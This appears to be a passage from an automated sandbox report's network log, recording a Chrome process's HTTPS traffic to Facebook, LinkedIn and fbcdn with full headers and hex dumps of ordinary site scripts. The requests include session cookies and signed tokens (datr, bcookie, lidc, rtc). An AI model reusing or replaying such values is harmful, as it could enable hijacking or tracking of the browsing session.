2024-04-11 20:35:34 UTC	1249	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=9&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 941 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7AYohAxrpRk7BvUB sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w
2024-04-11 20:35:34 UTC	941	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 37 41 59 6f 68 41 78 72 70 52 6b 37 42 76 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 33 39 39 30 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 37 41 59 6f 68 41 78 72 70 52 6b 37 42 76 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 32 32 30 33 39 31 37 38 38 32 30 30 38 39 32 22 2c 22 70 6f 73 74 73 22 3a 5b 5b 22 66 61 6c 63 6f 3a 62 64 5f 70 64 63 5f 73 69 67 6e 61 6c 73 22 2c 7b 22 65 22 Data Ascii: ------WebKitFormBoundary7AYohAxrpRk7BvUBContent-Disposition: form-data; name="ts"1712867733990------WebKitFormBoundary7AYohAxrpRk7BvUBContent-Disposition: form-data; name="q"[{"app_id":"2220391788200892","posts":[["falco:bd_pdc_signals",{"e"
2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1756	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49998	152.199.5.152	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	1028	OUT	GET /litms/utag/seo-directory-frontend/utag.js?cb=1712867700000 HTTP/1.1 Host: platform.linkedin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lang=v=2&lang=en-us; bcookie="v=2&5fb597bd-36de-4f4b-86b3-29f1071b0dff"; lidc="b=OGST03:s=O:r=O:a=O:p=O:g=3190:u=1:x=1:i=1712867727:t=1712954127:v=2:sig=AQGeA_nFVVm9cDI6Pe3WHj6GGkrc7jAF"; rtc=AQHokTdD2c0hKwAAAY7O324IaH5_romjD_lCWRJrQLQknHq-I3BCQ6TUKtISln7Jippf6jyJzQ1eKwQ8X0Uq8RfGLL6uMGnTXQnXClVsDAtkXSzwg53xeF-uKTCkGeTrDXhEIZOQVnu42eMqlcJNH5YaKKl1Zb47sFaQiQcL4F5PeCPcs6NRmUFT8E9AydwqD8aU6j0x2gptRPh31Jm4NYp2Hjx3KPjmNdwS-_7MgF105aSZSIXPwaM=
2024-04-11 20:35:35 UTC	571	IN	HTTP/1.1 200 OK Age: 31 Cache-Control: max-age=300 Content-Type: application/javascript; charset=utf-8 Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Fri, 11 Apr 2025 20:35:35 GMT Last-Modified: Fri, 01 Feb 1980 00:00:00 GMT Server: ECAcc (nya/7908) Vary: Accept-Encoding X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-Li-Fabric: prod-ltx1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-Li-Source-Fabric: prod-lva1 X-LI-UUID: AAYV2BcONyNmhNkqa97+SQ== Content-Length: 26799 Connection: close
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 76 61 72 20 75 74 61 67 5f 63 6f 6e 64 6c 6f 61 64 3d 21 31 3b 74 72 79 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 2c 61 2c 6f 3d 28 22 22 2b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 2e 6d 61 74 63 68 28 22 28 5e 7c 3b 5c 5c 73 29 75 74 61 67 5f 65 6e 76 5f 6c 69 6e 6b 65 64 69 6e 5f 73 65 6f 2d 64 69 72 65 63 74 6f 72 79 2d 66 72 6f 6e 74 65 6e 64 3d 28 2f 2f 74 61 67 73 2e 74 69 71 63 64 6e 2e 63 6f 6d 2f 75 74 61 67 2f 6c 69 6e 6b 65 64 69 6e 2f 5b 61 2d 7a 30 2d 39 5c 5c 2e 2d 5d 7b 31 2c 33 30 7d 5c 5c 2f 5b 5e 5c 5c 73 3b 5d 2a 29 22 29 3b 69 66 28 6f 26 26 2d 31 3d 3d 3d 6f 5b 32 5d 2e 69 6e 64 65 78 4f 66 28 22 2f 70 72 6f 64 2f 22 29 29 7b 66 6f 72 28 76 61 72 20 6e 3d 6f 5b 32 5d 3b 2d 31 21 3d 6e 2e 69 6e 64 65 78 4f 66 Data Ascii: var utag_condload=!1;try{!function(){var t,e,a,o=(""+document.cookie).match("(^\|;\\s)utag_env_linkedin_seo-directory-frontend=(//tags.tiqcdn.com/utag/linkedin/[a-z0-9\\.-]{1,30}\\/[^\\s;]*)");if(o&&-1===o[2].indexOf("/prod/")){for(var n=o[2];-1!=n.indexOf
2024-04-11 20:35:35 UTC	10416	IN	Data Raw: 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6e 29 2c 75 74 61 67 2e 6c 6f 61 64 65 72 2e 72 75 6e 5f 72 65 61 64 79 5f 71 28 29 29 7d 2c 64 6f 63 75 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 6e 29 2c 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 75 74 61 67 2e 6c 6f 61 64 65 72 2e 72 75 6e 5f 72 65 61 64 79 5f 71 29 29 29 7d 65 6c 73 65 20 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 61 2c 21 31 29 3a 74 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 28 31 3d 3d 6f 3f 22 22 3a 22 6f 6e 22 29 Data Ascii: achEvent("onreadystatechange",n),utag.loader.run_ready_q())},document.attachEvent("onreadystatechange",n),window.attachEvent("onload",utag.loader.run_ready_q)))}else t.addEventListener?t.addEventListener(e,a,!1):t.attachEvent&&t.attachEvent((1==o?"":"on")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49997	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	610	OUT	GET /rsrc.php/v3ipuo4/yB/l/en_US/ae0dtANL__H.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: HQK0/qRwvQT28HbdwNP6vg== Expires: Fri, 11 Apr 2025 20:12:03 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: +x+dvsitkxcQ7lim2pu2BjOkTanLa/mSHbSmXpQw+j7YHLaLdi5X0EB2eSLnnXqo9siNrWhJjDbcZ6tOfms8Tw== Date: Thu, 11 Apr 2024 20:35:35 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 83860
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:35 UTC	16102	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 67 72 6f 75 70 73 43 6f 6d 65 74 46 65 74 63 68 53 74 6f 72 79 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 37 36 37 30 32 38 37 35 36 39 37 30 31 35 35 37 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 67 72 6f 75 70 73 43 6f 6d 65 74 46 65 74 63 68 53 74 6f 72 79 51 75 65 72 79 2e 67 72 61 70 68 71 6c 22 2c 5b 22 43 6f 6d 65 74 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 52 65 6c 61 79 5f 74 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 24 6e 6f 72 6d 61 6c 69 7a 61 74 69 6f 6e 2e 67 72 61 70 68 71 6c 22 2c 22 67 72 6f 75 70 73 Data Ascii: /FB_PKG_DELIM/__d("groupsCometFetchStoryQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7670287569701557"}),null);__d("groupsCometFetchStoryQuery.graphql",["CometTextWithEntitiesRelay_textWithEntities$normalization.graphql","groups
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 62 75 74 74 6f 6e 5f 6c 61 62 65 6c 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 6d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 74 61 72 67 65 74 5f 75 73 65 72 5f 69 64 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 49 6d 61 67 65 22 2c 6b 69 6e 64 3a 22 4c 69 6e Data Ascii: oncreteType:"TextWithEntities",kind:"LinkedField",name:"confirmation_button_label",plural:!1,selections:m,storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"target_user_id",storageKey:null},{alias:null,args:null,concreteType:"Image",kind:"Lin
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 54 50 61 67 65 50 6f 73 74 46 6f 6f 74 65 72 43 68 61 6e 6e 65 6c 53 74 72 61 74 65 67 79 5f 73 74 72 61 74 65 67 79 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 72 61 74 65 67 79 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 59 4d 54 50 61 67 65 50 6f 73 74 46 6f 6f 74 65 72 43 68 61 6e 6e 65 6c 53 74 72 61 74 65 67 79 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 59 4d 54 46 6f 6f 74 65 72 53 65 63 74 69 6f 6e Data Ascii: TPagePostFooterChannelStrategy_strategy",fragmentPropName:"strategy",kind:"ModuleImport"}],type:"CometFeedStoryAYMTPagePostFooterChannelStrategy",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAYMTFooterSection
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 43 6f 6e 74 61 69 6e 65 72 53 65 63 74 69 6f 6e 5f 66 65 65 64 55 6e 69 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 47 6f 6f 64 77 69 6c 6c 4d 65 6d 6f 72 79 53 74 72 61 74 65 67 79 5f 66 65 65 64 55 6e 69 74 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 66 65 65 64 55 6e 69 74 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 47 6f 6f 64 77 69 6c 6c 43 6f 6d 65 74 53 74 6f 72 79 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 Data Ascii: ions:[{args:null,documentName:"CometFeedUnitContainerSection_feedUnit",fragmentName:"CometFeedUnitGoodwillMemoryStrategy_feedUnit",fragmentPropName:"feedUnit",kind:"ModuleImport"}],type:"GoodwillCometStory",abstractKey:null},{kind:"InlineFragment",selecti
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 2c 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 63 28 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 29 28 22 31 37 34 33 34 35 35 22 29 3b 62 3d 64 28 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 29 2e 63 72 65 61 74 65 28 22 63 6f 6d 70 6f 73 65 72 5f 70 6f 73 74 5f 66 61 69 6c 75 72 65 22 2c 61 29 3b 65 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 65 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 43 6f 6d 70 6f 73 65 72 50 6f 73 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 5b 22 46 Data Ascii: lcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1743455");b=d("FalcoLoggerInternal").create("composer_post_failure",a);e=b;g["default"]=e}),98);__d("ComposerPostFalcoEvent",["F
2024-04-11 20:35:35 UTC	14884	IN	Data Raw: 72 6e 61 6c 22 29 2e 63 72 65 61 74 65 28 22 63 6f 6d 70 6f 73 65 72 5f 70 6f 73 74 5f 74 65 72 6d 69 6e 61 6c 22 2c 61 29 3b 65 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 65 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 43 6f 6d 70 6f 73 65 72 50 75 62 6c 69 73 68 46 6c 6f 77 46 61 6c 63 6f 45 76 65 6e 74 22 2c 5b 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 2c 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 63 28 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 29 28 22 31 37 34 33 34 36 31 22 29 3b 62 3d 64 28 22 46 61 6c 63 6f 4c Data Ascii: rnal").create("composer_post_terminal",a);e=b;g["default"]=e}),98);__d("ComposerPublishFlowFalcoEvent",["FalcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1743461");b=d("FalcoL
2024-04-11 20:35:35 UTC	2221	IN	Data Raw: 22 78 31 71 68 68 39 38 35 22 2c 62 6f 72 64 65 72 53 74 61 72 74 57 69 64 74 68 3a 22 78 6d 30 6d 33 39 6e 22 2c 62 6f 78 53 69 7a 69 6e 67 3a 22 78 39 66 36 31 39 22 2c 63 6f 6c 6f 72 3a 22 78 31 68 65 6f 72 39 67 22 2c 6d 61 72 67 69 6e 54 6f 70 3a 22 78 64 6a 32 36 36 72 22 2c 6d 61 72 67 69 6e 45 6e 64 3a 22 78 31 31 69 35 72 6e 6d 22 2c 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 3a 22 78 61 74 32 34 63 72 22 2c 6d 61 72 67 69 6e 53 74 61 72 74 3a 22 78 31 6d 68 38 67 30 72 22 2c 70 61 64 64 69 6e 67 54 6f 70 3a 22 78 65 78 78 38 79 75 22 2c 70 61 64 64 69 6e 67 45 6e 64 3a 22 78 34 75 61 70 35 22 2c 70 61 64 64 69 6e 67 42 6f 74 74 6f 6d 3a 22 78 31 38 64 39 69 36 39 22 2c 70 61 64 64 69 6e 67 53 74 61 72 74 3a 22 78 6b 68 64 36 73 64 22 2c 70 6f 73 69 74 Data Ascii: "x1qhh985",borderStartWidth:"xm0m39n",boxSizing:"x9f619",color:"x1heor9g",marginTop:"xdj266r",marginEnd:"x11i5rnm",marginBottom:"xat24cr",marginStart:"x1mh8g0r",paddingTop:"xexx8yu",paddingEnd:"x4uap5",paddingBottom:"x18d9i69",paddingStart:"xkhd6sd",posit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	50004	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	610	OUT	GET /rsrc.php/v3iGuT4/y-/l/en_US/CVZ8oQ56FF2.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 435FugZuHGdnMbfhQp9Itw== Expires: Wed, 09 Apr 2025 09:59:04 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: kNkxMRmrcc/kRgXtQfW/D8YXb5ZXF660/zyxsi1MQGaAfkRnozjtZKzArSqlM0IS9S/IMm48HNZM0TKfg+v59Q== Date: Thu, 11 Apr 2024 20:35:35 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 121901
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 3b Data Ascii: ;
